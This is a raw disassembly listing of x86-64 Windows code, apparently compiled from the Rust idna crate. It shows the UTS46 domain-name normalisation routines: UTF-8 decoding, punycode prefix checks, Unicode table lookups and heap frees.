call fcn.140106250
add r14, rsi
mov qword [r13 + 0x10], r14
xor r12d, r12d
xor r8d, r8d
mov dword [rsp + 0x108], 0
mov dword [rsp + 0x148], 0
mov dword [rsp + 0xf8], 0
mov dword [rsp + 0x140], 0
mov dword [rsp + 0x138], 0
mov dword [rsp + 0x120], 0
mov dword [rsp + 0x130], 0
xor ebp, ebp
xor r14d, r14d
mov dword [rsp + 0x12c], 0
cmp byte [r15 + 0x32], 0
je 0x140044a21
mov rbx, qword [r13 + 8]
mov r15, qword [r13 + 0x10]
mov sil, 1
movabs rcx, 0x2e0000002e
test r15, r15
je 0x1400429e9
cmp byte [rbx + r15 - 1], 0x2e
jne 0x14004293b
dec r15
je 0x1400429e9
mov r13d, r8d
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x58], r15
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], r15
mov qword [rsp + 0x70], 0
mov qword [rsp + 0x78], r15
mov qword [rsp + 0x80], rcx
mov byte [rsp + 0x88], 1
mov word [rsp + 0x90], 1
lea rdi, [rsp + 0x50]
nop word cs:[rax + rax]
mov rcx, rdi
call fcn.140037a40
test rax, rax
je 0x1400429a2
test rdx, rdx
jne 0x140042990
test rax, rax
movzx eax, r14b
mov esi, 1
cmove esi, eax
mov al, 1
cmp r15, 0xfd
mov r8d, r13d
movabs rcx, 0x2e0000002e
jbe 0x1400429ec
jmp 0x140044a26
lea r8, [0x14012c1f0]
mov rcx, rax
call fcn.1401082d0
lea r8, [0x14012c208]
call fcn.1401082d0
xor r15d, r15d
mov r13d, r8d
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x58], r15
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], r15
mov qword [rsp + 0x70], 0
mov qword [rsp + 0x78], r15
mov qword [rsp + 0x80], rcx
mov byte [rsp + 0x88], 1
mov word [rsp + 0x90], 1
lea rdi, [rsp + 0x50]
nop word cs:[rax + rax]
mov rcx, rdi
call fcn.140037a40
test rax, rax
je 0x140042a53
cmp rdx, 0x40
jb 0x140042a40
test rax, rax
movzx ecx, bpl
mov eax, 1
cmove eax, ecx
mov r8d, r13d
jmp 0x140044a26
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fidna_0.5.0_srcuts46.rs
mov edx, 0x75a
mov rcx, 0xffffffffffffffff
call fcn.1401082d0
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fidna_0.5.0_srcuts46.rs
mov edx, 0x1f73
call fcn.1401082d0
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fidna_0.5.0_srcuts46.rs
mov edx, 0x1f73
call fcn.1401082d0
lea r8, [0x14012c1d8]
call fcn.1401082d0
mov rcx, r13
mov rdx, r14
mov rsi, r8
mov r8, r9
mov rdi, r9
call fcn.140109710
mov r8, rsi
mov r9, rdi
mov r14, qword [r13 + 0x10]
jmp 0x140042882
cmp dword [rsp + 0x60], 0
je 0x140042b0c
cmp qword [rsp + 0x68], 0
je 0x140042b0c
mov r8, qword [rsp + 0x70]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
test ebx, ebx
mov rsi, qword [rsp + 0x110]
je 0x140042b35
cmp qword [rsp + 0xd8], 0
je 0x140042b35
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rsp + 0x1c8], 0
mov qword [rsp + 0x1d0], 8
mov qword [rsp + 0x1d8], 0
mov rax, qword [rsi + 8]
mov rcx, qword [rsi + 0x10]
mov qword [rsp + 0x168], 0
mov qword [rsp + 0x170], rcx
mov qword [rsp + 0x178], rax
mov qword [rsp + 0x180], rcx
mov qword [rsp + 0x188], 0
mov qword [rsp + 0x190], rcx
movabs rax, 0x2e0000002e
mov qword [rsp + 0x198], rax
mov byte [rsp + 0x1a0], 1
mov word [rsp + 0x1a8], 1
mov rbx, qword [rsp + 0x108]
mov rax, rbx
and rax, 0xffffffffffff00ff
mov qword [rsp + 0x130], rax
mov sil, 1
xor edi, edi
lea r12, [0x14014f0dc]
xorps xmm6, xmm6
movdqa xmm11, xmmword [0x140112910]
movdqa xmm12, xmmword [0x1401127c0]
movdqa xmm13, xmmword [0x140112920]
movdqa xmm14, xmmword [0x140112930]
movdqa xmm15, xmmword [0x140112940]
movdqa xmm7, xmmword [0x140112950]
movdqa xmm8, xmmword [0x140112960]
movdqa xmm9, xmmword [0x140112970]
movdqa xmm10, xmmword [0x140112980]
jmp 0x140042c8a
xor edi, edi
mov rcx, r13
mov rdx, r14
mov r8, rbx
lea r9, [rsp + 0x30]
call fcn.140040bc0
mov rcx, qword [rsp + 0x340]
mov rax, qword [rcx]
mov rbp, qword [rcx + 0x10]
sub rax, rbp
cmp rax, r14
jb 0x1400431b1
mov rsi, qword [rsp + 0x340]
mov rcx, qword [rsi + 8]
add rcx, rbp
mov rdx, r13
mov r8, r14
call fcn.140106250
add r14, rbp
mov qword [rsi + 0x10], r14
xor esi, esi
lea rcx, [rsp + 0x168]
call fcn.140037a40
test rax, rax
je 0x140043ab9
mov r13, rax
mov r14, rdx
test sil, 1
jne 0x140042cda
mov r15, rdi
mov rdi, qword [rsp + 0x340]
mov rsi, qword [rdi + 0x10]
cmp rsi, qword [rdi]
jne 0x140042cc8
mov rcx, rdi
call fcn.1400ba350
mov rax, qword [rdi + 8]
mov byte [rax + rsi], 0x2e
inc rsi
mov qword [rdi + 0x10], rsi
mov rdi, r15
cmp r14, 4
jb 0x140042cee
cmp dword [r13], 0x2d2d6e78
je 0x140042e25
test dil, 1
jne 0x140042c39
test r14, r14
je 0x140042c37
mov rax, r13
add rax, r14
mov rcx, r13
jmp 0x140042d15
cmp rcx, rax
je 0x140042c37
movzx r10d, byte [rcx]
movzx edx, r10b
test dl, dl
js 0x140042d26
inc rcx
jmp 0x140042d9a
mov r8d, edx
and r8d, 0x1f
movzx r11d, byte [rcx + 1]
and r11d, 0x3f
cmp dl, 0xdf
jbe 0x140042d7c
movzx r9d, byte [rcx + 2]
shl r11d, 6
and r9d, 0x3f
or r9d, r11d
cmp r10b, 0xf0
jb 0x140042d8c
movzx edx, byte [rcx + 3]
and r8d, 7
shl r8d, 0x12
shl r9d, 6
and edx, 0x3f
or edx, r9d
or edx, r8d
cmp edx, 0x110000
je 0x140042c37
add rcx, 4
jmp 0x140042d9a
add rcx, 2
shl r8d, 6
or r8d, r11d
mov edx, r8d
jmp 0x140042d9a
add rcx, 3
shl r8d, 0xc
or r9d, r8d
mov edx, r9d
lea r8d, [rdx - 0x21]
cmp r8d, 0x5e
jb 0x140042d0c
mov r8d, 0x5a6
xor r10d, r10d
mov r9d, 0x5a6
jmp 0x140042dd3
cmp r11d, edx
cmova r9, r8
mov r8, r9
sub r8, r10
jbe 0x140042d0c
shr r8, 1
add r8, r10
lea rsi, [r8 + r8*2]
mov r11d, dword [r12 + rsi*4]
mov edi, dword [r12 + rsi*4 + 4]
cmp edi, edx
jb 0x140042def
cmp r11d, edx
jbe 0x140042dfe
cmp edi, edx
jae 0x140042dc0
mov r10, r8
inc r10
mov r8, r9
jmp 0x140042dc0
movzx edx, byte [r12 + rsi*4 + 8]
cmp edx, 0x11
ja 0x140042d0c
mov r8d, 0x20003
bt r8d, edx
jae 0x140042d0c
mov dil, 1
jmp 0x140042c39
mov qword [rsp + 0x138], rdi
add r14, 0xfffffffffffffffc
add r13, 4
lea rcx, [rsp + 0x1e0]
lea rdx, [rsp + 0x1c8]
mov r8, r13
mov r9, r14
call fcn.14003f2a0
mov rdi, qword [rsp + 0x1e0]
test rdi, rdi
je 0x1400431a2
mov rbx, qword [rsp + 0x1e8]
mov rax, qword [rsp + 0x1f0]
mov qword [rsp + 0x140], rax
mov rax, qword [rsp + 0x1f8]
mov qword [rsp + 0xf8], rax
mov r14, qword [rsp + 0x200]
mov rsi, qword [rsp + 0x208]
mov r8, qword [rsp + 0x210]
mov r13, qword [rsp + 0x340]
mov rax, qword [r13]
mov r15, qword [r13 + 0x10]
sub r8, rsi
sub rax, r15
cmp rax, r8
jb 0x1400439ed
mov qword [rsp + 0x120], r15
cmp r14, qword [rsp + 0xf8]
jb 0x140042f7f
cmp rdi, rbx
je 0x140043168
movzx r8d, byte [rdi]
test r8b, r8b
js 0x140042ef7
inc rdi
movzx ebp, r8b
inc rsi
jmp 0x140043046
movzx eax, r8b
and eax, 0x1f
movzx r9d, byte [rdi + 1]
and r9d, 0x3f
cmp r8b, 0xdf
jbe 0x140042f4d
movzx edx, byte [rdi + 2]
shl r9d, 6
and edx, 0x3f
or edx, r9d
cmp r8b, 0xf0
jb 0x140042f56
movzx ebp, byte [rdi + 3]
and eax, 7
shl eax, 0x12
shl edx, 6
and ebp, 0x3f
or ebp, edx
or ebp, eax
cmp ebp, 0x110000
je 0x140043168
add rdi, 4
mov rcx, rdi
jmp 0x140043001
add rdi, 2
jmp 0x140043023
add rdi, 3
jmp 0x140043034
mov rax, qword [r15 + 8]
mov byte [rax + r13], bpl
inc r13
mov qword [r15 + 0x10], r13
mov r13, r15
cmp r14, qword [rsp + 0xf8]
jae 0x140042ed6
mov rax, r14
shl rax, 4
add rax, qword [rsp + 0x140]
cmp qword [rax], rsi
jne 0x140042fa0
inc r14
mov ebp, dword [rax + 8]
jmp 0x14004303b
mov rcx, rdi
mov rdi, rbx
cmp rcx, rbx
je 0x140042fa0
movzx r8d, byte [rcx]
test r8b, r8b
jns 0x140043011
movzx eax, r8b
and eax, 0x1f
movzx r9d, byte [rcx + 1]
and r9d, 0x3f
cmp r8b, 0xe0
jb 0x14004301c
movzx edx, byte [rcx + 2]
shl r9d, 6
and edx, 0x3f
or edx, r9d
cmp r8b, 0xf0
jb 0x14004302d
movzx ebp, byte [rcx + 3]
add rcx, 4
and eax, 7
shl eax, 0x12
shl edx, 6
and ebp, 0x3f
or ebp, edx
or ebp, eax
mov rdi, rcx
cmp ebp, 0x110000
je 0x140042fa0
mov rdi, rcx
cmp ebp, 0x110000
jne 0x14004303b
jmp 0x140043168
inc rcx
mov rdi, rcx
jmp 0x140042eeb
add rcx, 2
mov rdi, rcx
shl eax, 6
or eax, r9d
mov ebp, eax
jmp 0x14004303b
add rcx, 3
mov rdi, rcx
shl eax, 0xc
or eax, edx
mov ebp, eax
inc rsi
cmp ebp, 0x80
jae 0x140043063
mov r15, r13
mov r13, qword [r13 + 0x10]
cmp r13, qword [r15]
jne 0x140042f5f
mov rcx, r15
call fcn.1400ba350
jmp 0x140042f5f
mov dword [rsp + 0x50], 0
mov eax, ebp
cmp ebp, 0x800
jae 0x140043093
shr eax, 6
or al, 0xc0
mov byte [rsp + 0x50], al
and bpl, 0x3f
or bpl, 0x80
mov byte [rsp + 0x51], bpl
mov r13d, 2
jmp 0x1400430fc
cmp ebp, 0x10000
jae 0x1400430c6
shr eax, 0xc
or al, 0xe0
mov byte [rsp + 0x50], al
mov eax, ebp
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x51], al
and bpl, 0x3f
or bpl, 0x80
mov byte [rsp + 0x52], bpl
mov r13d, 3
jmp 0x1400430fc
shr eax, 0x12
or al, 0xf0
adc cl, byte [rax + rsi*8]
mov byte [rsp + 0x50], al
mov eax, ebp
shr eax, 0xc
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x51], al
mov eax, ebp
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x52], al
and bpl, 0x3f
or bpl, 0x80
mov byte [rsp + 0x53], bpl
mov r13d, 4
mov rcx, qword [rsp + 0x340]
mov rax, qword [rcx]
mov rbp, qword [rcx + 0x10]
sub rax, rbp
cmp rax, r13
jb 0x14004314c
mov r15, qword [rsp + 0x340]
mov rcx, qword [r15 + 8]
add rcx, rbp
lea rdx, [rsp + 0x50]
mov r8, r13
call fcn.140106250
add rbp, r13
mov r13, r15
mov qword [r15 + 0x10], rbp
cmp r14, qword [rsp + 0xf8]
jae 0x140042ed6
jmp 0x140042f7f
mov r15, qword [rsp + 0x340]
mov rcx, r15
mov rdx, rbp
mov r8, r13
call fcn.140109710
mov rbp, qword [r15 + 0x10]
jmp 0x140043113
mov rax, r13
mov r13, qword [r13 + 8]
mov rsi, qword [rax + 0x10]
mov r15, qword [rsp + 0x120]
test r15, r15
mov rbx, qword [rsp + 0x108]
mov rdi, qword [rsp + 0x138]
je 0x1400431d6
cmp rsi, r15
jbe 0x1400431d0
cmp byte [r13 + r15], 0xbf
jg 0x1400431d6
jmp 0x140044c2e
mov byte [rsp + 0x30], 1
mov dil, 1
xor esi, esi
jmp 0x140042c8a
mov rsi, qword [rsp + 0x340]
mov rcx, rsi
mov rdx, rbp
mov r8, r14
call fcn.140109710
mov rbp, qword [rsi + 0x10]
jmp 0x140042c67
jne 0x140044c2e
lea rax, [r15 + r13]
mov qword [rsp + 0xf8], rax
test dil, 1
jne 0x1400432b8
cmp rsi, r15
jne 0x1400431f8
xor edi, edi
jmp 0x1400432b8
mov r14, rsi
add rsi, r13
mov rdi, qword [rsp + 0xf8]
jmp 0x140043211
cmp rdi, rsi
je 0x1400432b3
movzx r8d, byte [rdi]
movzx ecx, r8b
test cl, cl
js 0x140043222
inc rdi
jmp 0x140043284
mov eax, ecx
and eax, 0x1f
movzx r9d, byte [rdi + 1]
and r9d, 0x3f
cmp cl, 0xdf
jbe 0x14004326b
movzx edx, byte [rdi + 2]
shl r9d, 6
and edx, 0x3f
or edx, r9d
cmp r8b, 0xf0
jb 0x140043279
movzx ecx, byte [rdi + 3]
and eax, 7
shl eax, 0x12
shl edx, 6
and ecx, 0x3f
or ecx, edx
or ecx, eax
cmp ecx, 0x110000
je 0x1400432b3
add rdi, 4
jmp 0x140043284
add rdi, 2
shl eax, 6
or eax, r9d
mov ecx, eax
jmp 0x140043284
add rdi, 3
shl eax, 0xc
or edx, eax
mov ecx, edx
lea eax, [rcx - 0x21]
cmp eax, 0x5d
jbe 0x140043208
call fcn.1400f5410
cmp al, 0x11
ja 0x140043208
movzx eax, al
mov ecx, 0x20003
bt ecx, eax
jae 0x140043208
mov dil, 1
jmp 0x1400432b5
xor edi, edi
mov rsi, r14
movq xmm0, qword [rsp + 0x30]
movzx eax, byte [rsp + 0x39]
pshufd xmm1, xmm0, 0x55
por xmm1, xmm0
movdqa xmm0, xmm1
psrld xmm0, 0x10
por xmm0, xmm1
movdqa xmm1, xmm0
psrlw xmm1, 8
por xmm1, xmm0
movd ecx, xmm1
or cl, byte [rsp + 0x38]
or al, byte [rsp + 0x3a]
or al, cl
or al, byte [rsp + 0x3b]
jne 0x140043ab2
mov r14, rdi
cmp rsi, r15
je 0x140043a7b
add r13, rsi
xor eax, eax
xor ebx, ebx
mov rdi, qword [rsp + 0xf8]
movzx r8d, byte [rdi]
test r8b, r8b
js 0x140043327
inc rdi
jmp 0x1400433a5
movzx ecx, r8b
and ecx, 0x1f
movzx r9d, byte [rdi + 1]
and r9d, 0x3f
cmp r8b, 0xe0
jb 0x140043377
movzx edx, byte [rdi + 2]
shl r9d, 6
and edx, 0x3f
or edx, r9d
cmp r8b, 0xf0
jb 0x140043385
movzx ebp, byte [rdi + 3]
and ecx, 7
shl ecx, 0x12
shl edx, 6
and ebp, 0x3f
or ebp, edx
or ebp, ecx
cmp ebp, 0x110000
je 0x140043876
add rdi, 4
jmp 0x140043390
add rdi, 2
shl ecx, 6
or ecx, r9d
mov ebp, ecx
jmp 0x140043390
add rdi, 3
shl ecx, 0xc
or edx, ecx
mov ebp, edx
cmp ebp, 0x7f
jbe 0x1400433a5
jmp 0x140043426
inc rdi
cmp ebp, 0x80
jae 0x140043424
cmp rdi, r13
je 0x140043876
movzx edx, byte [rdi]
movzx ebp, dl
test bpl, bpl
jns 0x14004339a
mov eax, ebp
and eax, 0x1f
movzx r8d, byte [rdi + 1]
and r8d, 0x3f
cmp bpl, 0xdf
jbe 0x140043406
movzx ecx, byte [rdi + 2]
shl r8d, 6
and ecx, 0x3f
or ecx, r8d
cmp dl, 0xf0
jb 0x140043414
movzx ebp, byte [rdi + 3]
and eax, 7
shl eax, 0x12
shl ecx, 6
and ebp, 0x3f
or ebp, ecx
or ebp, eax
cmp ebp, 0x110000
je 0x140043876
add rdi, 4
jmp 0x14004339d
add rdi, 2
shl eax, 6
or eax, r8d
mov ebp, eax
jmp 0x14004339d
add rdi, 3
shl eax, 0xc
or ecx, eax
mov ebp, ecx
jmp 0x14004339d
xor eax, eax
mov r15, rsi
mov esi, eax
mov ecx, ebp
call fcn.1400f5480
cmp sil, al
mov rsi, r15
jbe 0x140043442
test al, al
jne case.0x1400435e7.3907
lea ecx, [rbp - 0x340]
cmp ecx, 4
ja 0x140043456
cmp ecx, 2
jne case.0x1400435e7.3907
mov cl, 2
cmp ebp, 0xd56
jg 0x1400434bb
cmp ebp, 0x9de
jg 0x1400434fc
cmp ebp, 0x93b
jg 0x140043612
lea edx, [rbp - 0x30f]
cmp edx, 0x36
ja 0x140043497
movabs r8, 0x48020000001005
bt r8, rdx
jb 0x1400436fb
lea edx, [rbp - 0x374]
cmp edx, 0x13
ja case.0x1400435e7.3908
mov r8d, 0x80401
bt r8d, edx
jb case.0x1400435e7.3907
jmp case.0x1400435e7.3908
cmp ebp, 0x11126
jg 0x14004355f
cmp ebp, 0x102d
jle 0x1400435a3
cmp ebp, 0x1f70
jg 0x140043664
cmp ebp, 0x102e
je 0x1400436f8
cmp ebp, 0x1b35
je 0x1400436f8
jmp case.0x1400435e7.3908
cmp ebp, 0xbd6
jg 0x1400435e9
cmp ebp, 0xbbd
jg 0x1400436f0
fadd qword [rcx]
add byte [rax], al
fadd qword [rcx]
add byte [rax], al
lea edx, [rbp - 0xb3e]
cmp edx, 0x19
ja 0x14004352f
mov r8d, 0x3000001
bt r8d, edx
jb 0x1400436f8
lea edx, [rbp - 0xa33]
cmp edx, 0x2b
ja 0x14004354e
movabs r8, 0x80000000009
bt r8, rdx
jb case.0x1400435e7.3907
cmp ebp, 0x9df
jne case.0x1400435e7.3908
jmp case.0x1400435e7.3907
cmp ebp, 0x114af
jle 0x14004363b
lea edx, [rbp - 0x114b0]
cmp edx, 0xd
ja 0x140043586
mov r8d, 0x2401
bt r8d, edx
jb 0x1400436f8
cmp ebp, 0x115af
je 0x1400436f8
cmp ebp, 0x11930
je 0x1400436f8
jmp case.0x1400435e7.3908
lea edx, [rbp - 0xdca]
cmp edx, 0x15
ja 0x1400435be
mov r8d, 0x200021
bt r8d, edx
jb 0x1400436f8
cmp ebp, 0xd57
je 0x1400436f8
lea edx, [rbp - 0xf43]
cmp edx, 0x76
ja case.0x1400435e7.3908
lea r8, [0x140176fa0]
movsxd rdx, dword [r8 + rdx*4]
add rdx, r8
jmp rdx
cmp ebp, 0xcc1
jg 0x1400436b8
cmp ebp, 0xbd7
je 0x1400436f8
cmp ebp, 0xc56
je 0x1400436f8
jmp case.0x1400435e7.3908
cmp ebp, 0x93c
je 0x1400436f8
cmp ebp, 0x9be
je 0x1400436f8
cmp ebp, 0x9d7
je 0x1400436f8
jmp case.0x1400435e7.3908
cmp ebp, 0x11127
je 0x1400436f8
cmp ebp, 0x1133e
je 0x1400436f8
cmp ebp, 0x11357
je 0x1400436f8
jmp case.0x1400435e7.3908
cmp ebp, 0xfa0f
jle 0x1400436ca
cmp ebp, 0x110ba
je 0x1400436f8
lea edx, [rbp - 0xfa10]
cmp edx, 0x12
ja 0x140043693
mov r8d, 0x50005
bt r8d, edx
jb case.0x1400435e7.3907
lea edx, [rbp - 0xfb1d]
cmp edx, 0x21
ja case.0x1400435e7.3908
movabs r8, 0x200000005
bt r8, rdx
jb case.0x1400435e7.3907
jmp case.0x1400435e7.3908
cmp ebp, 0xcc2
je 0x1400436f8
cmp ebp, 0xd3e
je 0x1400436f8
jmp case.0x1400435e7.3908
cmp ebp, 0x2125
jg 0x14004370b
lea edx, [rbp - 0x1f71]
cmp edx, 0x8c
ja case.0x1400435e7.3908
lea r8, [0x14017717c]
movsxd rdx, dword [r8 + rdx*4]
add rdx, r8
jmp rdx
cmp ebp, 0xbbe
jne case.0x1400435e7.3908
mov rsi, r15
mov ebx, ecx
cmp rdi, r13
jne 0x140043319
jmp 0x140043878
lea edx, [rbp - 0x2329]
cmp edx, 2
jb case.0x1400435e7.3907
cmp ebp, 0x2126
je case.0x1400435e7.3907
cmp ebp, 0x2adc
je case.0x1400435e7.3907
movd xmm1, ebp
pshufd xmm0, xmm1, 0
movdqa xmm2, xmm0
paddd xmm2, xmmword [0x1401128e0]
movdqa xmm3, xmm0
paddd xmm3, xmmword [0x1401128f0]
pxor xmm3, xmm12
pcmpgtd xmm3, xmm14
pxor xmm2, xmm12
pcmpgtd xmm2, xmm15
packssdw xmm2, xmm3
packsswb xmm2, xmm2
pmovmskb edx, xmm2
xor dl, 0xff
jne case.0x1400435e7.3907
pshufd xmm1, xmm1, 0x50
pand xmm1, xmmword [0x1401128d0]
pshufd xmm2, xmm1, 4
pcmpeqd xmm2, xmmword [0x140112900]
movdqa xmm3, xmm0
paddd xmm3, xmm11
pxor xmm3, xmm12
movdqa xmm4, xmm13
pcmpgtd xmm4, xmm3
por xmm4, xmm2
movmskps edx, xmm4
test dl, dl
jne case.0x1400435e7.3907
lea edx, [rbp - 0x1d1bb]
cmp edx, 6
jb case.0x1400435e7.3907
lea edx, [rbp - 0x2f800]
cmp edx, 0x21e
jb case.0x1400435e7.3907
movd edx, xmm1
cmp edx, 0x2000
je case.0x1400435e7.3907
cmp edx, 0x212a
je case.0x1400435e7.3907
cmp edx, 0xfb40
je case.0x1400435e7.3907
movdqa xmm1, xmm0
paddd xmm1, xmm7
paddd xmm0, xmm8
pxor xmm0, xmm12
pcmpgtd xmm0, xmm9
pxor xmm1, xmm12
pcmpgtd xmm1, xmm10
packssdw xmm0, xmm1
packsswb xmm0, xmm0
pmovmskb r8d, xmm0
xor r8b, 0xff
jne 0x1400436f8
lea r8d, [rbp - 0x11a8]
cmp r8d, 0x1b
jb 0x1400436f8
cmp edx, 0x330
mov rsi, r15
je 0x1400436fb
add ebp, 0xffffcf67
cmp ebp, 2
movzx ecx, bl
mov edx, 2
cmovb ecx, edx
jmp 0x1400436fb
mov ecx, ebx
test cl, cl
je 0x140043a7b
movzx eax, cl
cmp eax, 1
je case.0x1400435e7.3907
mov r15, rsi
lea rcx, [rsp + 0x98]
movups xmmword [rcx], xmm6
mov byte [rcx + 0x10], 0
lea rax, [rsp + 0x220]
movups xmmword [rax], xmm6
mov qword [rsp + 0x50], 0
mov dword [rsp + 0x60], 0
mov word [rsp + 0x64], 0
mov byte [rsp + 0x68], 0
mov dword [rsp + 0x6c], 0
mov byte [rsp + 0x70], 0
mov dword [rsp + 0x74], 0
mov byte [rsp + 0x78], 0
mov dword [rsp + 0x7c], 0
mov byte [rsp + 0x80], 0
mov dword [rsp + 0x84], 0
mov rsi, qword [rsp + 0xf8]
mov qword [rsp + 0x88], rsi
mov qword [rsp + 0x90], r13
mov dword [rsp + 0xb0], 0
mov word [rsp + 0xb4], 0
movzx eax, word [rsp + 0x22e]
mov word [rcx + 0x2e], ax
movdqu xmm0, xmmword [rsp + 0x21e]
movdqu xmmword [rcx + 0x1e], xmm0
mov dword [rsp + 0xd0], 0x110000
mov byte [rsp + 0xd4], 0
cmp rsi, r13
je 0x140043a13
movzx edx, byte [rsi]
movzx edi, dl
test dil, dil
js 0x14004396e
inc rsi
jmp 0x1400439d0
mov eax, edi
and eax, 0x1f
movzx r8d, byte [rsi + 1]
and r8d, 0x3f
cmp dil, 0xdf
jbe 0x1400439b7
movzx ecx, byte [rsi + 2]
shl r8d, 6
and ecx, 0x3f
or ecx, r8d
cmp dl, 0xf0
jb 0x1400439c5
movzx edi, byte [rsi + 3]
and eax, 7
shl eax, 0x12
shl ecx, 6
and edi, 0x3f
or edi, ecx
or edi, eax
cmp edi, 0x110000
je 0x140043a13
add rsi, 4
jmp 0x1400439d0
add rsi, 2
shl eax, 6
or eax, r8d
mov edi, eax
jmp 0x1400439d0
add rsi, 3
shl eax, 0xc
or ecx, eax
mov edi, ecx
lea rcx, [rsp + 0x50]
call fcn.1400402e0
xor ebx, ebx
cmp eax, 0x110000
je 0x140043a25
cmp eax, edi
je 0x140043955
jmp 0x140043a25
mov rcx, r13
mov rdx, r15
call fcn.140109710
mov qword [rsp + 0x120], r15
cmp r14, qword [rsp + 0xf8]
jb 0x140042f7f
jmp 0x140042ed6
lea rcx, [rsp + 0x50]
call fcn.1400402e0
cmp eax, 0x110000
sete bl
cmp dword [rsp + 0x60], 0
je 0x140043a48
cmp qword [rsp + 0x68], 0
je 0x140043a48
mov r8, qword [rsp + 0x70]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp dword [rsp + 0xb0], 0
mov rsi, r15
je 0x140043a77
cmp qword [rsp + 0xb8], 0
je 0x140043a77
mov r8, qword [rsp + 0xc0]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
test bl, bl
je case.0x1400435e7.3907
sub rsi, qword [rsp + 0x120]
mov rcx, qword [rsp + 0xf8]
mov rdx, rsi
mov r8, qword [rsp + 0x130]
lea r9, [rsp + 0x30]
call fcn.140040bc0
jmp 0x140043aa7
mov byte [rsp + 0x35], 1
mov rbx, qword [rsp + 0x108]
mov rdi, r14
xor esi, esi
jmp 0x140042c8a
mov rdx, rdi
mov rax, qword [rsp + 0x340]
mov rcx, qword [rax + 8]
mov rdi, qword [rax + 0x10]
mov r8, qword [rsp + 0x148]
test r8, r8
je 0x140043afe
cmp rdi, r8
jbe 0x140043afc
cmp byte [rcx + r8], 0xbf
jg 0x140043afe
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fidna_0.5.0_srcuts46.rs
mov qword [rsp + 0x20], rax
mov rdx, rdi
mov r9, rdi
call fcn.1401087e0
jne 0x140043ae5
mov rax, rdi
sub rax, r8
add rcx, r8
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rcx
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], 0
mov qword [rsp + 0x78], rax
movabs rax, 0x2e0000002e
mov qword [rsp + 0x80], rax
mov byte [rsp + 0x88], 1
mov word [rsp + 0x90], 1
test dl, 1
jne 0x140043b6d
lea r15, [rsp + 0x50]
mov rcx, r15
call fcn.140037a40
test rax, rax
jne 0x140043b5b
jmp 0x140043f5a
mov ebx, 0x260d9
mov r14d, 0x62f8
lea rcx, [rsp + 0x50]
call fcn.140037a40
test rax, rax
je 0x140043f5a
mov r13, rdx
test rdx, rdx
je 0x140043b78
mov r12, rax
movzx r8d, byte [rax]
movzx ecx, r8b
test cl, cl
js 0x140043ba9
lea rbp, [r12 + 1]
jmp 0x140043c13
mov eax, ecx
and eax, 0x1f
movzx r9d, byte [r12 + 1]
and r9d, 0x3f
cmp cl, 0xdf
jbe 0x140043bf8
movzx edx, byte [r12 + 2]
shl r9d, 6
and edx, 0x3f
or edx, r9d
cmp r8b, 0xf0
jb 0x140043c07
movzx ecx, byte [r12 + 3]
and eax, 7
shl eax, 0x12
shl edx, 6
and ecx, 0x3f
or ecx, edx
or ecx, eax
cmp ecx, 0x110000
je 0x140043b78
lea rbp, [r12 + 4]
jmp 0x140043c13
lea rbp, [r12 + 2]
shl eax, 6
or eax, r9d
mov ecx, eax
jmp 0x140043c13
lea rbp, [r12 + 3]
shl eax, 0xc
or edx, eax
mov ecx, edx
add r13, r12
call fcn.1400f5410
test al, al
je 0x140043cd8
movzx eax, al
cmp eax, 0x11
je 0x140043cd8
cmp eax, 9
jne 0x140043f55
cmp rbp, r13
je 0x140043daf
movzx r8d, byte [rbp]
movzx ecx, r8b
test cl, cl
js 0x140043c53
inc rbp
jmp 0x140043cb9
mov eax, ecx
and eax, 0x1f
movzx r9d, byte [rbp + 1]
and r9d, 0x3f
cmp cl, 0xdf
jbe 0x140043ca0
movzx edx, byte [rbp + 2]
shl r9d, 6
and edx, 0x3f
or edx, r9d
cmp r8b, 0xf0
jb 0x140043cae
movzx ecx, byte [rbp + 3]
and eax, 7
shl eax, 0x12
shl edx, 6
and ecx, 0x3f
or ecx, edx
or ecx, eax
cmp ecx, 0x110000
je 0x140043daf
add rbp, 4
jmp 0x140043cb9
add rbp, 2
shl eax, 6
or eax, r9d
mov ecx, eax
jmp 0x140043cb9
add rbp, 3
shl eax, 0xc
or edx, eax
mov ecx, edx
call fcn.1400f5410
cmp al, 0xe
ja 0x140043f55
movzx eax, al
bt r14d, eax
jb 0x140043c38
jmp 0x140043f55
cmp rbp, r13
je 0x140043dc0
xor esi, esi
xor r15d, r15d
jmp 0x140043cf4
mov sil, 1
cmp rbp, r13
je 0x140043d9b
movzx r8d, byte [rbp]
movzx ecx, r8b
test cl, cl
js 0x140043d06
inc rbp
jmp 0x140043d68
mov eax, ecx
and eax, 0x1f
movzx r9d, byte [rbp + 1]
and r9d, 0x3f
cmp cl, 0xdf
jbe 0x140043d4f
movzx edx, byte [rbp + 2]
shl r9d, 6
and edx, 0x3f
or edx, r9d
cmp r8b, 0xf0
jb 0x140043d5d
movzx ecx, byte [rbp + 3]
and eax, 7
shl eax, 0x12
shl edx, 6
and ecx, 0x3f
or ecx, edx
or ecx, eax
cmp ecx, 0x110000
je 0x140043d9b
add rbp, 4
jmp 0x140043d68
add rbp, 2
shl eax, 6
or eax, r9d
mov ecx, eax
jmp 0x140043d68
add rbp, 3
shl eax, 0xc
or edx, eax
mov ecx, edx
call fcn.1400f5410
cmp al, 0x11
ja 0x140043f55
movzx eax, al
bt ebx, eax
jb 0x140043ceb
cmp eax, 1
